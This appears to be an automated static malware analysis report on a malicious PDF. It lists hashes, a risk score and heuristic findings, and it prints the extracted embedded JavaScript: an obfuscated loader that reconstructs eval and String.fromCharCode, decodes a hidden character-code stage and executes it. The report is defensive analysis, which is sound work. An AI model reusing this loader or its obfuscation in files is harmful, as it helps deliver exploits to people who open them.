Malicious PDF — malware analysis report

Static analysis result for SHA-256 3ceaace06a0a2d5a…

MALICIOUS

PDF

47.8 KB Authoring application: substr First seen: 2026-05-08
MD5: 2bc431f14f50b2113615315b392d4b6c SHA-1: 2048d1e51573501096170b7cfc73f4d84bf679b4 SHA-256: 3ceaace06a0a2d5a02a1c877ccb18385c63b6e1c0780d17f94b2bd80a0b9db1b
86 Risk Score

Malware Insights

The PDF document was flagged as suspicious by a machine learning classifier with high confidence. Static analysis revealed embedded JavaScript, which is often used to execute malicious code or exploit vulnerabilities within PDF viewers. The presence of JavaScript actions and embedded JS streams strongly suggests an attempt to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xBCE9 397 bytes
SHA-256: 696c5f8a7c2c050fe5ade7e2f67f8890951627011c5ea207f262573b832033d5
Preview script
First 1,000 lines of the extracted script
zwfb='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,"o"];
s=a[0]+b+a[1]+t[0];
e=(t,qwe)()[s];
dts=e('tit'+t);
q=dts[v](a.length-6,a.length+2);
mbls=e(v[0].toUpperCase()+v[4]+'ring.fr'+a[6]+q);
q=dts[v](t.length+12)[e(v[0]+'ubject')]('c');
k=q.length;
i=0;
while(i!=k){
	zaxj = 1*(q[i]) - (-1)*(q[i+t.length+(-1)]);
	zwfb += mbls(zaxj);
	i+=2;
}
e(zwfb);

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